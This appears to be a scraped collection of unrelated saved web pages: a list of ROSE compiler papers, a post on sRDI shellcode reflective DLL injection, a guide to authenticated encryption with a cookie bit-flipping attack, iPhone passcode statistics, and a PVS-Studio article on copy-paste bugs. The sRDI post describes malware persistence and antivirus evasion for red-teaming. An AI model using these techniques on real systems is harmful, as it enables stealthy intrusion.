       HIPS2001-LibrariesAsDomainSpecificLanguages.ps
    
    Recent Papers:
    Qing Yi, Keith Seymour, Haihang You, Richard Vuduc, and Dan Quinlan. "POET: Parameterized Optimizations for Empirical Tuning." In IPDPS Workshop on Performance Optimization of High-Level Languages and Libraries (POHLL), March 2007. (to appear)
    Dan Quinlan, Markus Schordan, Richard Vuduc, and Qing Yi. "Annotating user-defined abstractions for optimization." In IPDPS Workshop on Performance Optimization of High-Level Languages and Libraries (POHLL), April 2006.
    Richard Vuduc, Martin Schulz, Dan Quinlan, and Bronis de Supinski. "Improving distributed memory applications testing by message perturbation." In Proc. Int'l Symposium on Software Testing and Analysis (ISSTA), 4th Workshop on Parallel and Distributed Systems: Testing and Debugging (PADTAD-IV), Portland, ME, USA, July 2006.
    Dan Quinlan, Richard Vuduc, Thomas Panas, Jochen Härdtlein, and Andreas Sæbjørnsen. "Support for whole-program analysis and verification of the One-Definition Rule in C++." In Proc. Static Analysis Summit, Gaithersburg, MD, USA, June 2006. National Institute of Standards and Technology Special Publication.
    
    === Submitted 2007 ===
    
    Thomas Panas, Tom Epperly, Dan Quinlan, Andreas Sæbjørnsen, Richard Vuduc. "Communicating software architecture using a unified single-view visualization." January 2007. (submitted)
    Thomas Panas, Dan Quinlan, Richard Vuduc. "Tool support for inspecting the code quality of HPC applications." January 2007. (position paper; submitted)
    Thomas Panas, Dan Quinlan, Richard Vuduc. "Analyzing and visualizing whole-program architectures." January 2007. (position paper; submitted) 
    
    
    Brief descriptions of the several papers that we have included:
    
    ICS05BrianWhiteAndCast.pdf
        This paper is about the optimization of unstructured grid applications and represent
        preparitory work for future automated transformations specific to unstructured grid
        applications within DOE using ROSE.
    
    LCPC2004-OptimizationsOfObjectOrientedAbstractionsThroughClassificationOfSemantics.pdf
        This paper covers the details of optimizing object-oriented abstractions using ROSE.
        Unfortuantely, ROSE is not mentioned anywhere in the paper, a ridiculous oversight,
        but oh well.  The subject is the optimization, not the ROSE compiler infrastructure.
    
    JMLC2003-RoseArchitecture.ps:
        This paper covers the architecture of ROSE as a project.  It is one of the best
        and most up to date papers on ROSE.
    
    LCPC03-ParallelOptimizationOfContainers.ps:
        This paper is the informal proceedings version and demonstrates the optimization 
        of generalized container abstractions and
        is related to Active Library research (or so I understand).  It is also related to 
        Telescoping Language research.  The paper demonstrates a few of the newest features 
        in ROSE and has served an an introduction for the authors into the optimization of 
        the STL library more generally.
    
    WOMPAT2003-OpenMPTranslation.ps:
        This paper demonstrates the use of ROSE to recognize OpenMP pragmas and, using the
        Nanos OpenMP runtime library, build a subset of an OpenMP specific compiler for C++.
    
    HIPS2001-LibrariesAsDomainSpecificLanguages.ps:
        This paper is specific to compile-time optimization of array classes.  It demonstrates
        what was at the time the most current work on the compile-time optimization of an
        array class library.  ROSE is more general, but this paper is very specific to
        the optimization of a single library.
    
    CPC2000-SupportForObjectOrientedFrameworks.ps:
        This paper was an introduction to the work being done at the time on ROSE complete
        with a more detailed motivation for compile-time optimization of specific libraries.
    
    CPC2001-Concurrency2003.ps:
        This is one of the first papers on ROSE presented at CPC2001 and later updated for
        publication into the Journal of Concurrency, Practice, and Experience.
    
    LCPC2001-SpecificationOfTransformations.ps:
        This was a paper which specified some elements of what later became the string based
        AST rewrite mechanism used in ROSE.
    
    PDPTA2001-ROSETTA.ps:
        This paper describes the development of a tool, ROSETTA, which build object-oriented
        Intermediate Representations (IRs) for compilers.  It is a tool used within ROSE to
        build the SAGE III IR which we use internally with the EDG front-end.  It is specific
        to details of the internal ROSE compiler infrastructure.
    
    SCI1999-OptimizingArrayClassLibraries.ps:
        This paper present preliminary work on the compile-time optimization of array 
        class libraries.
    
    IPPS1997-ExpressionTemplatePerformanceIssues.ps: 
        Discusses the different approaches to the
        optimization of array class libraries.  Optimization of array class libraries led 
        to the development of ROSE as a project, though ROSE is not at all specific to array 
        class libraries and addresses the optimization of libraries generally.  This paper
        can be helpful in understanding what work was done using language template 
        features within C++ before attempting to address the optimization issues more
        generally at compile time. Prior work started on ROSE had been abandoned because 
        of the perceived significant advantages of template meta-programming techniques
        for scientific computing.  Several papers on the details of template use were 
        written, this is the most complete of them.  It is included with these papers to
        provide a bit of perspective (currently historical).
    
    
    ***********************************
    References to the included papers:
    ***********************************
    
    Quinlan, Schordan, Yi, de Supinski,
    "Semantic-Driven Parallelization of Loops Operating on User-Defined Containers,"
    Proceedings of Languages and Compilers for High-Performance Computing (LCPC), 
    College Station, Texas, October 2-4, 2003.
    
    Quinlan, Schordan, Yi, de Supinski,
    "A C++ Infrastructure for Automatic Introduction and Translation of OpenMP Directives,"
    (to appear soon) Springer Lecture Notes, 2003.  Also presented at
    Workshop on OpenMP Applications and Tools, Toronto, Canada June 2003.
    
    {jmlc2003} Schordan M., Quinlan D.,
    "A Source-To-Source Architecture for User-Defined Optimizations",
    Joint Modular Languages Conference held in conjunction with EuroPar'03, 
    Austria, August 2003
    
    {HIPS02} Quinlan, D. Miller, B. Philip, B. Schordan, M.
    "Treating a User-Defined Parallel Library as a Domain-Specific Language"
    7th International Workshop on High-Level Parallel Programming Models and
    Supportive Environments, part of the 17th International Parallel and
    Distributed Processing Symposium (IPPS), Ft. Lauderdale, April 15-19, 2002
    
    {LCPC2001} Quinlan, D., Schordan, M. Philip, B. Kowarschik, M.
    "The Specification of Source-To-Source Transformations for the Compile-Time Optimization of 
            Parallel Object-Oriented Scientific Applications",
    Submitted to Parallel Processing Letters, also in Proceedings of
    14th Workshop on Languages and Compilers for Parallel Computing (LCPC2001), Cumberland Falls, KY, August 1-3 2001.
    
    {cpc2001} Quinlan, D. Schordan, M. Philip, B. Kowarschik, M.
    "Parallel Object-Oriented Framework Optimization",
    Special Issue of Concurrency: Practice and  Experience (2003), also in 
    Proceedings of Conference on Parallel Compilers (CPC2001), Edinburgh, Scotland, June 2001.
    
    Quinlan, D., Philip, B.
    "ROSETTA: The Compile-Time Recognition Of Object-Oriented 
    Library Abstractions And Their Use Within Applications,"
    Proceedings of the PDPTA'2001 Conference, Las Vegas, Nevada, June 24-27 2001
    
    Quinlan, D., "ROSE: Compiler Support for Object-Oriented Frameworks"
    Proceedings of Conference on Parallel Compilers (CPC2000), Aussois, France, January 2000.
    Also published in special issue of Parallel Processing Letters, Vol. 10.
    
    Related A++/P++ Papers:
    Dan Quinlan and Rebecca Parsons, A++/P++ array classes for architecture independent finite
        differences computations. In Proceedings of the Second Annual Object-Oriented Numerics
        Conference (ONNSKI'94), April 1994.
    
    Lemke, M., Quinlan, D. P++, a C++ Virtual Shared Grids Based Programming Environment for
        Architecture-Independent Development of Structured Grid Applications, In Preceeding of
        the CONPAR/VAPP V, September 1992, Lyon, France.  Published in Lecture Notes in
        Computer Science, Springer Verlag, September 1992.
    
    Related Overture Paper:
    Brown, D., Henshaw, W., Quinlan, D., "OVERTURE: A Framework for the Complex Geometries,"
        Preceedings of the ISCOPE'99 Conference, San Francisco, CA, Dec 1999.
    
    
    
    **************
    RELATED PAPERS
    **************
    
    Guy Steele's "Growing A Language"
    
    Telescoping Languages work at Rice (Ken)
    
    Plus/Minus Languages (Bjarne)
    
[/code]

# sRDI - Shellcode Reflective DLL Injection | Silent Break Security
**Created:**| _9/4/2017 9:23:44 AM_  
---|---  
**Updated:**| _9/4/2017 9:23:44 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# sRDI – Shellcode Reflective DLL Injection

#### Posted by Nick Landers on August 23, 2017

<img src='img/Temp2_10618.png' width='144' height='144' />

During our first offering of “Dark Side Ops II – Adversary Simulation” at
Black Hat USA 2017, we quietly dropped a piece of our internal toolkit called
sRDI. Shortly after, the full project was put on GitHub
\(https://github.com/monoxgas/sRDI\) without much explanation. I wanted to
write a quick post discussing the details and use-cases behind this new
functionality.

###

###

### A Short History

Back in ye olde times, if you were exploiting existing code, or staging
malicious code into memory, you used shellcode. For those rare few who still
have the skill to write programs in assembly, we commend you. As the Windows
API grew up and gained popularity, people found sanctuary in DLLs. C code and
cross compatibility were very appealing, but what if you wanted your DLL to
execute in another process? Well, you could try writing the file to memory and
dropping a thread at the top, but that doesn’t work very well on packed PE
files. The Windows OS already knows how to load PE files, so people asked
nicely and **DLL Injection** was born. This involves starting a thread in a
remote process to call “LoadLibrary\(\)” from the WinAPI. This will read a
\(malicious\) DLL from disk and load it into the target process. So you write
some cool malware, save it as a DLL, drop it to disk, and respawn into other
processes. Awesome\!…well, not really. Anti-virus vendors caught on quick,
started flagging more and more file types, and performing heuristic analysis.
The disk wasn’t a safe place anymore\!

Finally in 2009, our malware messiah Stephen Fewer \(@**stephenfewer**\)
releases **Reflective DLL Injection**. As demonstrated, LoadLibrary is limited
in loading only DLLs from disk. So Mr. Fewer said “Hold my beer, I’ll do it
myself”. With a rough copy of LoadLibrary implemented in C, this code could
now be included into any DLL project. The process would export a new function
called “ReflectiveLoader” from the \(malicious\) DLL. When injected, the
reflective DLL would locate the offset of this function, and drop a thread on
it. ReflectiveLoader walks back through memory to locate the beginning of the
DLL, then unpacks and remaps everything automatically. When complete,
“DLLMain” is called and you have your malware running in memory.

Years went by and very little was done to update these techniques. Memory
injection was well ahead of it’s time and allowed all the APTs and such to
breeze past AV. In 2015, Dan Staples \(@**\_dismantl**\) released an important
update to RDI, called “Improved Reflective DLL Injection“. This aimed to allow
an additional function to be called after “DLLMain” and support the passing of
user arguments into said additional function. Some shellcode trickery and a
bootstrap placed before the call to ReflectiveLoader accomplished just that.
RDI is now functioning more and more like the legitimate LoadLibrary. We can
now load a DLL, call it’s entry point, and then pass user data to **another**
exported function. By the way, if you aren’t familiar with DLLs or exported
functions, I recommend you read Microsoft’s overview.

### Making shellcode great again

Reflective DLL injection is being used heavily by private and public toolsets
to maintain that “in-memory” street cred. Why change things? Well…

  * RDI requires that your target DLL and staging code **understand** RDI. So you need access to the source code on both ends \(the injector and injectee\), or use tools that already support RDI.
  * RDI requires a lot of code for loading in comparison to shellcode injection. This compromises stealth and makes stagers easier to signature/monitor.
  * RDI is confusing for people who don’t write native code often.
  * Modern APT groups have already implemented more mature memory injection techniques, and our goal is better emulate real-world adversaries.

The list isn’t as long as some reasons to change things, but we wanted to
write a new version of RDI for simplicity and flexibility. So what did we do?

  1. To start, we read through some great research by Matt Graeber \(@**mattifestation**\) to convert primitive C code into shellcode. We rewrote the ReflectiveLoader function and converted the entire thing into a big shellcode blob. We now have a basic PE loader as shellcode.  

  2. We wanted to maintain the advantages of Dan Staples technique, so we modified the bootstrap to hook into our new shellcode ReflectiveLoader. We also added some other tricks like a pop/call to allow the shellcode to get it’s current location in memory and maintain position independence.
  3. Once our bootstrap primitives were built, we implemented a conversion process into different languages \(C, PowerShell, C\#, and Python\). This allows us to hook our new shellcode and a DLL together with the bootstrap code in any other tool we needed.

Once complete, the blob looks something like this:

<img src='img/Temp2_10617.png' width='236' height='365' />

When execution starts at the top of the bootstrap, the general flow looks like
this:

  1. Get current location in memory \(Bootstrap\)
  2. Calculate and setup registers \(Bootstrap\)
  3. Pass execution to RDI with the function hash, user data, and location of the target DLL \(Bootstrap\)
  4. Un-pack DLL and remap sections \(RDI\)
  5. Call DLLMain \(RDI\)
  6. Call exported function by hashed name \(RDI\) – Optional
  7. Pass user-data to exported function \(RDI\) – Optional

With that all done, we now have conversion functions that take in arbitrary
DLLs, and spit out position independent shellcode. Optionally, you can specify
arbitrary data to get passed to an exported function once the DLL is loaded
\(as Mr. Staples intended\). On top of that, if you are performing local
injection, the shellcode will return a memory pointer that you can use with
GetProcAddressR\(\) to locate additional exported functions and call them.
Even with the explanation, the process can seem confusing to most who don’t
have experience with the original RDI project, shellcode, or PE files, so I
recommend you read existing research and head over to the GitHub repository
and dig into the code: https://github.com/monoxgas/sRDI

### Okay, so what?

**“You can now convert any DLL to position independent shellcode at any time,
on the fly.”**

This tool is mainly relevant to people who write/customize malware. If you
don’t know how to write a DLL, I doubt most of this applies to you. With that
said, if you are interested in writing something more than a PowerShell script
or Py2Exe executable to perform red-teaming, this is a great place to start.

**Use case \#1 – Stealthy persistence**

  * Use server-side Python code \(sRDI\) to convert a RAT to shellcode
  * Write the shellcode to the registry
  * Setup a scheduled task to execute a basic loader DLL
  * Loader reads shellcode and injects \(<20 lines of C code\)

**Pros:** Neither your RAT or loader need to understand RDI or be compiled
with RDI. The loader can stay small and simple to avoid AV.

**Use case \#2 –****Side loading**

  * Get your sweet RAT running in memory
  * Write DLL to perform extra functionality
  * Convert the DLL to shellcode \(using sRDI\) and inject locally
  * Use GetProcAddressR to lookup exported functions
  * Execute additional functionality X-times without reloading DLL

**Pros:** Keep your initial tool more lightweight and add functionality as
needed. Load a DLL once and use it just like any other.

**Use case \#3 – Dependencies**

  * Read existing legitimate API DLL from disk
  * Convert the DLL to shellcode \(using sRDI\) and load it into memory
  * Use GetProcAddress to lookup needed functions

**Pros:** Avoid monitoring tools that detect LoadLibrary calls. Access API
functions without leaking information. \(WinInet, PSApi, TlHelp32, GdiPlus\)

### Conclusion

We hope people get good use out of this tool. sRDI been a member of the SBS
family for almost 2 years now and we have it integrated into many of our
tools. Please make modifications and create pull-requests if you find
improvements.

We’d love to see people start pushing memory injection to higher levels. With
recent AV vendors promising more analytics and protections against techniques
like this, we’re confident threat actors have already implemented improvements
and alternatives that don’t involve high level languages like PowerShell or
JScript.

@monoxgas

  

# Using Encryption and Authentication Correctly | Ab0Files
**Created:**| _5/12/2015 11:39:54 AM_  
---|---  
**Updated:**| _5/12/2015 11:39:54 AM_  
**Author:**| __  
**Tags:**| _crypto auth_  
  

# What’s the Difference Between Encryption and Authentication?

**Encryption** is the process of rendering a message such that it becomes
unreadable without possessing the correct key. In the simple case of symmetric
cryptography, the same key is used for encryption as is used for decryption.
In asymmetric cryptography, it is possible to encrypt a message with a user’s
_public key_ such that only possessing their _private key_ can read it.

**Authentication** is the process of rendering a message tamper-resistant
\(typically within a certain very low probability, typically less than 1
divided by the number of particles in the known universe\) while also proving
it originated from the expected sender.

Note: When we say _authenticity_ , we mean specifically _message authenticity_
, not _identity authenticity_. That is a PKI and key management problem, which
we may address in a future blog post.

In respect to the CIA triad: Encryption provides confidentiality.
Authentication provides integrity.

**Encryption does not provide integrity** ; a tampered message can \(usually\)
still decrypt, but the result will usually be garbage. Encryption alone also
does not inhibit malicious third parties from sending encrypted messages.

**Authentication does not provide confidentiality** ; it is possible to
provide tamper-resistance to a plaintext message.

A common mistake among programmers is to confuse the two. It is not uncommon
to find a library or framework that encrypts cookie data and then trusts it
wholesale after merely decrypting it.

# Encryption

We previously defined encryption and specified that it provides
confidentiality but not integrity or authenticity. You can tamper with an
encrypted message and give the recipient garbage. But what if you could use
this garbage-generating mechanism to bypass a security control? Consider the
case of encrypted cookies.

The above code provides AES encryption in Cipher-Block-Chaining mode. If you
pass a 32-byte string for `$key`, you can even claim to provide 256-bit AES
encryption for your cookies and people might be misled into believing it’s
secure.

## How to Attack Unauthenticated Encryption

Let’s say that, after logging into this application, you see that you receive
a session cookie that looks like
`kHv9PAlStPZaZJHIYXzyCnuAhWdRRK7H0cNVUCwzCZ4M8fxH79xIIIbznxmiOxGQ7td8LwTzHFgwBmbqWuB+sQ==`.
Let’s change a byte in the first block \(the initialization vector\) and
iteratively sending our new cookie until something changes. It should take a
total of 4096 HTTP requests to attempt all possible one-byte changes to the
IV. In our example above, after 2405 requests, we get a string that looks like
this:`kHv9PAlStPZaZZHIYXzyCnuAhWdRRK7H0cNVUCwzCZ4M8fxH79xIIIbznxmiOxGQ7td8LwTzHFgwBmbqWuB+sQ==`
For comparison, only one character differs in the base64-encoded cookie
\(`kHv9PAlStPZaZ`**`J`** vs`kHv9PAlStPZaZ`**`Z`**\): –
kHv9PAlStPZaZJHIYXzyCnuAhWdRRK7H0cNVUCwzCZ4M8fxH79xIIIbznxmiOxGQ7td8LwTzHFgwBmbqWuB+sQ==
+
kHv9PAlStPZaZZHIYXzyCnuAhWdRRK7H0cNVUCwzCZ4M8fxH79xIIIbznxmiOxGQ7td8LwTzHFgwBmbqWuB+sQ==
The original date we stored in this cookie was an array that looked like this:  
But after merely altering a single byte in the initialization vector, we were
able to rewrite our message to read:  
Depending on how the underlying app is set up, you might be able to flip one
bit and become and administrator. **Even though your cookies are encrypted.**
If you would like to reproduce our results, our encryption key
was`000102030405060708090a0b0c0d0e0f` in hexadecimal.

# Authentication

As stated above, authentication aims to provide both integrity \(by which we
mean significant tamper-resistance\) to a message, while proving that it came
from the expected source \(authenticity\). The typical way this is done is to
calculate a keyed-**H** ash **M** essage **A** uthentication **C** ode \(HMAC
for short\) for the message and concatenate it with the message.  
It is important that an appropriate cryptographic tool such as HMAC is used
here and not just a simple hash function.  
These two functions are prefixed with **unsafe** because they are vulnerable
to a number of flaws:

  * Timing Attacks
  * Chosen Prefix Attacks on MD5 \(PDF\)
  * Non-strict equality operator bugs \(largely specific to PHP\)

To authentication a message, you always want some sort of keyed Message
Authentication Code rather than just a hash with a key. Using a hash without a
key is even worse. While a hash function can provide simple message integrity,
**any attacker can calculate a simple checksum or non-keyed hash of their
forged message.** Well-designed MACs require the attacker to know the
authentication key to forge a message. Simple integrity without authenticity
\(e.g. a checksum or a simple unkeyed hash\) is insufficient for providing
secure communications. In cryptography, if a message is not authenticated, it
offers _no integrity guarantees_ either. **Message Authentication gives you
Message Integrity for free.**

# Authenticated Encryption

The only surefire way to prevent bit-rewriting attacks is to make sure that,
after encrypting your information, you authenticate the encrypted message.
**This detail is very important\!** Encrypt _then_ authenticate. Verify
_before_ decryption. Cryptography expert Moxie Marlinspike wrote about why
this matters in what he dubbed, The Cryptographic Doom Principle. Let’s
revisit our encrypted cookie example, but make it a little safer. Note that
the encryption key and authentication key are different.

Now we’re a little closer to our goal of robust symmetric authenticated
encryption. There are still a few more questions left to answer, such as:

  * What happens if our original message ends in null bytes?
  * Is there a better padding strategy than the one `mcrypt` uses by default?
  * What side-channels are exposed by the AES implementation?

Fortunately, these questions are already answered in existing cryptography
libraries. **We highly recommend using an existing library** instead of
writing your own encryption features. For PHP developers, you should use
defuse/php-encryption .

### Secure Encrypted Cookies with Libsodium

For developers without access to libsodium, one of our blog readers offered an
example secure cookie implementation that uses `defuse/php-encryption` \(the
PHP library we recommend\).

## Authenticated Encryption with Associated Data

In our previous examples, we focused on building the encryption and
authentication as separate components that must be used with care to avoid
cryptographic doom. Specifically, we focused on AES in Cipher Block-Chaining
mode.

However, cryptographers have developed newer, more resilient modes of
encryption that encrypt and authenticate a message in the same operation.
These modes are called AEAD modes \(Authenticated Encryption with Associated
Data\). **Associated Data** means whatever your application needs to
authenticate, but not to encrypt.

AEAD modes are typically intended for stateful purposes, e.g. network
communications where a nonce can be managed easily.

Two reliable implementations of AEAD are **AES-GCM** and
**ChaCha20-Poly1305**.

  * `AES-GCM` is the Advanced Encryption Standard \(a.k.a. Rijndael cipher\) in Galois/Counter Mode. This mode is available in the latest versions of openssl, but **it is currently not supported in PHP**.
  * `ChaCha20-Poly1305` combines the ChaCha20 stream cipher with the Poly1305 Message Authentication Code. **This mode is available in the libsodium PHP extension.**
    * `Sodium::crypto_aead_chacha20poly1305_encrypt()` and`Sodium::crypto_aead_chacha20poly1305_decrypt()`

# Take-Away

  * Encryption is not authentication.
  * Encryption provides confidentiality.
  * Authentication provides integrity.
  * **Confuse the two at your own peril.**
  * To complete the CIA triad, you need to solve Availability separately. This is not usually a cryptography problem.

And most importantly: Use a library with a proven record of resilience under
the scrutiny of cryptography experts rather than hacking something together on
your own. You’ll be much better off for it.

# Most Common iPhone Passcodes | iPhone | Daniel Amitay
**Created:**| _6/21/2011 8:11:59 AM_  
---|---  
**Updated:**| _6/21/2011 8:12:11 AM_  
**Author:**| __  
**Tags:**| _security security metrics Ergo_  
  

# Most Common iPhone Passcodes

Jun 13, 2011 iPhone

_UPDATE_ \(06/14/11 5:30pm\): Big Brother Removed From App Store  
  
In my last update to Big Brother Camera Security \(Free\), I added some code
to record common user passcodes \(completely anonymous, of course\). Because
Big Brother’s passcode setup screen and lock screen are nearly identical to
those of the actual iPhone passcode lock, I figured that the collected
information would closely correlate with actual iPhone passcodes.  
  
In essence, this post is an homage to the well known Most Common Passwords on
the Internet articles. Different articles pull from different sources, so
naturally aren’t the same, but still demonstrate certain trends. Similar
trends are evident in the data I present below.  
  
To kick things off, out of 204,508 recorded passcodes, the top ten most common
were:  
<img src='img/Temp2_5487.png' width='550' height='427'
alt='most_common_passcodes' />  
_Top ten iPhone passcodes: \[1234, 0000, 2580, 1111, 5555, 5683, 0852, 2222,
1212, 1998\]  
_  
Naturally, 1234 is the most common passcode: mimicking the most common
internet passwords. To put this into perspective, these 10 codes represent 15%
of all passcodes in use. Most of the top passcodes follow typical formulas,
such as four identical digits, moving in a line up/down the pad, repetition.
5683 is the passcode with the least obvious pattern, but it turns out that it
is the number representation of LOVE \(5683\), once again mimicking a very
common internet password: “iloveyou.”  
  
Interestingly, 1990-2000 are all in the top 50, and 1980-1989 are all in the
top 100. I would interpret this occurrence as a subset of users that set their
passcodes to the year of their birth or graduation.  
  
To test this, I found the average expected occurrence for numbers matching a
specific decade’s format:  
<img src='img/Temp2_5491.png' width='550' height='427'
alt='expected_frequency_decade' />  
  
As you can see, any passcode between 1930 and 2020 has a much higher
likelihood versus the average \(represented by \*\*\*\*\): at minimum a 50%
gain, at maximum a 2570% gain. This data implies a heavy age range of 11 - 21
year olds.  
  
  
Following are some heat maps and corresponding graphs with the breakdown of
digit occurrences by position in the passcode. I recommend opening the images
in another browser tab to get a better look.  
  
<img src='img/Temp2_5492.png' width='232' height='344' alt='first_digit'
/><img src='img/Temp2_5493.png' width='284' height='221'
alt='digit_occurrence_first' />  
  
<img src='img/Temp2_5489.png' width='232' height='344' alt='second_digit'
/><img src='img/Temp2_5488.png' width='278' height='217'
alt='digit_occurrence_second' />  
  
<img src='img/Temp2_5494.png' width='232' height='344' alt='third_digit'
/><img src='img/Temp2_5490.png' width='278' height='217'
alt='digit_occurrence_third' />  
  
<img src='img/Temp2_5496.png' width='232' height='344' alt='fourth_digit'
/><img src='img/Temp2_5495.png' width='278' height='217'
alt='digit_occurrence_fourth' />  
  
  
Formulaic passwords are never a good idea, yet 15% of all passcode sets were
represented by only 10 different passcodes \(out of a possible 10,000\). The
implication? A thief \(or just a prankster\) could safely try 10 different
passcodes on your iPhone without initiating the data wipe. With a 15% success
rate, about 1 in 7 iPhones would easily unlock--even more if the intruder
knows the users’ years of birth, relationship status, etc.  

# Consequences of using the Copy-Paste method in C++ programming and how to
deal with it

**Created:**| _10/24/2011 11:51:49 AM_  
---|---  
**Updated:**| _10/24/2011 11:51:49 AM_  
**Author:**| __  
**Tags:**| _C++ analysis programming static_  
  

# Consequences of using the Copy-Paste method in C++ programming and how to
deal with it

24.01.2011 Andrey Karpov

I create the PVS-Studio analyzer detecting errors in source code of
C/C++/C++0x software. So I have to review a large amount of source code of
various applications where we detected suspicious code fragments with the help
of PVS-Studio. I have collected a lot of examples demonstrating that an error
occurred because of copying and modifying a code fragment. Of course, it has
been known for a long time that using Copy-Paste in programming is a bad
thing. But let's try to investigate this problem closely instead of limiting
ourselves to just saying "do not copy the code".

Usually, when saying about the Copy-Paste method in programming, people mean
the following case. Some function or a large code fragment is copied and then
this copied code is modified. It causes large amounts of similar code to
appear in the program, which complicates its maintenance. You have to replace
the same fragments of an algorithm in different functions, so you may easily
forget to fix something.

In this case, it is really appropriate to advise not to copy code. If you have
some function and want to create a function with similar behavior, you should
make a refactoring and arrange the common code in separate methods/classes
\[1\], or use templates and lambda-functions. We will not dwell upon the
question how to avoid doubling code because it does not relate to the main
issue. What is the most important, you should avoid doubling code in different
functions wherever possible. It has been written a lot about this and most
programmers are familiar with recommendations.

Now let's focus on the thing authors of books and articles on writing quality
code usually do not speak of. Actually, programming is impossible without
Copy-Paste.

We all copy small code fragments when we need to write something like this:

[code]

    GetMenu()->CheckMenuItem(IDC_ LINES_X, MF_BYCOMMAND | nState);
    GetMenu()->CheckMenuItem(IDC_ LINES_Y, MF_BYCOMMAND | nState);
[/code]

In good conscience, we always feel reluctant to type a line that differs from
another line only in the 'Y' character used instead of 'X'. And this is right
and reasonable. It is faster to copy and edit text than type a second line
from the very beginning even with the help of special tools such as Visual
Assist and IntelliSence.

Note that it is unreasonable to speak about doubling code here: you cannot
make it simpler anyway. There are a lot of such examples in every program. If
you don't like that we deal with GUI in the sample above, well, take some
other task - you will get the same thing:

[code]

    int texlump1 = Wads.CheckNumForName("TEXTURE1", ns_global, wadnum);
    int texlump2 = Wads.CheckNumForName("TEXTURE2", ns_global, wadnum);
[/code]

The problem is that an error is also highly probable when using this
"microcopying". Since you copy such small code fragments much more often than
large blocks, it is really a crucial issue. It is not clear how to deal with
it, so they try not to speak about it. You cannot prohibit programmers from
copying code.

Many of such errors are detected at the first launch of the program and are
eliminated quickly and painlessly. But a lot of them remain in code and live
for years waiting for their time to show up. Such errors are rather difficult
to detect because a person has to review similar code lines and gradually gets
less attentive. The probability of Copy-Paste related errors does not depend
on programmer's skill. Any person might make a misprint and miss something.
Defects of this type occur even in very famous and quality products.

To make it clearer what errors we mean, let's consider several code samples
taken from open-source projects. As advertising: I detected errors described
in this article using the general analyzer included into PVS-Studio \[2\].

The following code is taken from the Audacity application intended for sound
recording and editing.

[code]

    sampleCount VoiceKey::OnBackward (...) {
      ...
      int atrend = sgn(
        buffer[samplesleft - 2]-buffer[samplesleft - 1]);                          
      int ztrend = sgn(
        buffer[samplesleft - WindowSizeInt-2]-
          buffer[samplesleft - WindowSizeInt-2]);
      ...
    }
[/code]

The programmer was courageous and wrote initialization of the 'atrend'
variable correctly. Then he started to write initialization of the 'ztrend'
variable. He wrote "sgn\(buffer\[samplesleft - WindowSizeInt-2\]", gave a sigh
and copied the line fragment which he then forgot to edit. As a result, the
'sgn' function gets 0 as an argument.

The following scenario is the same. The programmer writes a long condition in
3D SDK Crystal Space:

[code]

    inline_ bool Contains(const LSS& lss)
    {
      // We check the LSS contains the two 
      // spheres at the start and end of the sweep
      return
        Contains(Sphere(lss.mP0, lss.mRadius)) && 
        Contains(Sphere(lss.mP0, lss.mRadius));
    }
[/code]

One cannot resist the urge to copy "Contains\(Sphere\(lss.mP0,
lss.mRadius\)\)" and replace the name 'mP0' with 'mP1'. But it is so easy to
forget about it.

Perhaps you noticed sometimes that program windows started behaving in a
strange way. For instance, many programmers will remember the search window in
the first edition of Visual Studio 2010. I think such strange things occur due
to luck and code like this:

[code]

    void COX3DTabViewContainer::OnNcPaint() 
    {
      ...
      if(rectClient.top<rectClient.bottom &&
         rectClient.top<rectClient.bottom)
      {
        dc.ExcludeClipRect(rectClient);
      }
      ...
    }
[/code]

This code was taken from a famous class set Ultimate ToolBox. Whether the
control is drawn correctly or not depends upon its location.

And in eLynx Image Processing SDK, programmers copied a whole line therefore
spreading the misprint throughout the code.

[code]

    void uteTestRunner::StressBayer(uint32 iFlags)
    {
      ...
      static EPixelFormat ms_pfList[] = 
        { PF_Lub, PF_Lus, PF_Li, PF_Lf, PF_Ld };
      const int fsize = sizeof(ms_pfList) / sizeof(ms_pfList);
    
      static EBayerMatrix ms_bmList[] = 
        { BM_GRBG, BM_GBRG, BM_RGGB, BM_BGGR, BM_None };
      const int bsize = sizeof(ms_bmList) / sizeof(ms_bmList);
      ...
    }
[/code]

The pointer dereferencing operation missing here causes the 'fsize' variable
to equal 1. Then this code was adapted for initializing 'bsize'. I do not
believe that one can make such a mistake twice without copying the code.

In the EIB Suite project, it was the line "if \(\_relativeTime <= 143\)" which
was copied and edited. But they forgot to change it in the last condition:

[code]

    string TimePeriod::toString() const
    {
      ...
      if (_relativeTime <= 143)
        os << ((int)_relativeTime + 1) * 5 << _(" minutes");
      else if (_relativeTime <= 167)
        os << 12 * 60 + ((int)_relativeTime - 143) * 30 << _(" minutes");
      else if (_relativeTime <= 196)
        os << (int)_relativeTime - 166 << _(" days");
      else if (_relativeTime <= 143)
        os << (int)_relativeTime - 192 << _(" weeks");
      ...
    }
[/code]

It means that the code "os << \(int\)\_relativeTime - 192 << \_\(" weeks"\);"
will never get control.

Even programmers in Intel company are only programmers and not demigods. Here
is a bad copying in the TickerTape project:

[code]

    void DXUTUpdateD3D10DeviceStats(...)
    {
      ...
      else if( DeviceType == D3D10_DRIVER_TYPE_SOFTWARE )
        wcscpy_s( pstrDeviceStats, 256, L"WARP" );
      else if( DeviceType == D3D10_DRIVER_TYPE_HARDWARE )
        wcscpy_s( pstrDeviceStats, 256, L"HARDWARE" );
      else if( DeviceType == D3D10_DRIVER_TYPE_SOFTWARE )
        wcscpy_s( pstrDeviceStats, 256, L"SOFTWARE" );
      ...
    }
[/code]

The "DeviceType == D3D10\_DRIVER\_TYPE\_SOFTWARE" condition is repeated twice.

Well, it is quite easy to miss an error in the jungle of conditional
statements. In the implementation Multi-threaded Dynamic Queue, one and the
same branch of the code will be executed regardless of the value returned by
the IsFixed\(\) function:

[code]

    BOOL CGridCellBase::PrintCell(...)
    {
      ...
      if(IsFixed())
        crFG = (GetBackClr() != CLR_DEFAULT) ?
          GetTextClr() : pDefaultCell->GetTextClr();
      else
        crFG = (GetBackClr() != CLR_DEFAULT) ?
          GetTextClr() : pDefaultCell->GetTextClr();
      ...
    }
[/code]

By the way, how easy and pleasant it is to copy code\! You can afford one more
line. :\)

[code]

    void RB_CalcColorFromOneMinusEntity( unsigned char *dstColors ) {
      ...
      unsigned char invModulate[3];
      ...
      invModulate[0] = 255 - backEnd.currentEntity->e.shaderRGBA[0];
      invModulate[1] = 255 - backEnd.currentEntity->e.shaderRGBA[1];
      invModulate[2] = 255 - backEnd.currentEntity->e.shaderRGBA[2];
      invModulate[3] = 255 - backEnd.currentEntity->e.shaderRGBA[3];
      ...
    }
[/code]

